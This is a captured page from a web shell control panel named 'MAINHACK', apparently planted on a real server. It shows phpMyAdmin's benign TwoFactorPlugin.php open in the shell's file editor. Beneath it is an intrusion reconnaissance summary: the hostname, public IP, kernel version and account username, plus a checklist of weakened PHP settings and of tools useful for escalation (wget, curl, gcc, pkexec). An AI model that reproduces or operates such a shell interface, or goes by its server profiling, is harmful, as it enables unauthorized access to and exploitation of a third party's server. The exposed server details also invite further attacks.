[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwoFactorPlugin.php
<?php /** * Two authentication factor handling */ declare(strict_types=1); namespace PhpMyAdmin\Plugins; use PhpMyAdmin\Core; use PhpMyAdmin\Message; use PhpMyAdmin\Template; use PhpMyAdmin\TwoFactor; use function __; use function is_array; use function parse_url; use function sprintf; use function strlen; /** * Two factor authentication plugin class * * This is basic implementation which does no * additional authentication, subclasses are expected * to implement this. */ class TwoFactorPlugin { /** @var string */ public static $id = ''; /** * Whether to show submit button in form * * @var bool */ public static $showSubmit = true; /** @var TwoFactor */ protected $twofactor; /** @var bool */ protected $provided = false; /** @var string */ protected $message = ''; /** @var Template */ public $template; /** * Creates object * * @param TwoFactor $twofactor TwoFactor instance */ public function __construct(TwoFactor $twofactor) { $this->twofactor = $twofactor; $this->template = new Template(); } /** * Returns authentication error message * * @return string */ public function getError() { if ($this->provided) { if (! empty($this->message)) { return Message::rawError( sprintf(__('Two-factor authentication failed: %s'), $this->message) )->getDisplay(); } return Message::rawError( __('Two-factor authentication failed.') )->getDisplay(); } return ''; } /** * Checks authentication, returns true on success */ public function check(): bool { return true; } /** * Renders user interface to enter two-factor authentication * * @return string HTML code */ public function render() { return ''; } /** * Renders user interface to configure two-factor authentication * * @return string HTML code */ public function setup() { return ''; } /** * Performs backend configuration */ public function configure(): bool { return true; } /** * Get user visible name * * @return string */ public static function getName() { return __('No Two-Factor Authentication'); } /** * Get user visible description * * @return string */ public static function getDescription() { return __('Login using password only.'); } /** * Return an application ID * * Either hostname or hostname with scheme. * * @param bool $return_url Whether to generate URL * * @return string */ public function getAppId($return_url) { global $config; $url = $config->get('PmaAbsoluteUri'); $parsed = []; if (! empty($url)) { $parsedUrl = parse_url($url); if (is_array($parsedUrl)) { $parsed = $parsedUrl; } } if (! isset($parsed['scheme']) || strlen($parsed['scheme']) === 0) { $parsed['scheme'] = $config->isHttps() ? 'https' : 'http'; } if (! isset($parsed['host']) || strlen($parsed['host']) === 0) { $parsed['host'] = Core::getenv('HTTP_HOST'); } if ($return_url) { $port = ''; if (isset($parsed['port'])) { $port = ':' . $parsed['port']; } return sprintf('%s://%s%s', $parsed['scheme'], $parsed['host'], $port); } return $parsed['host']; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002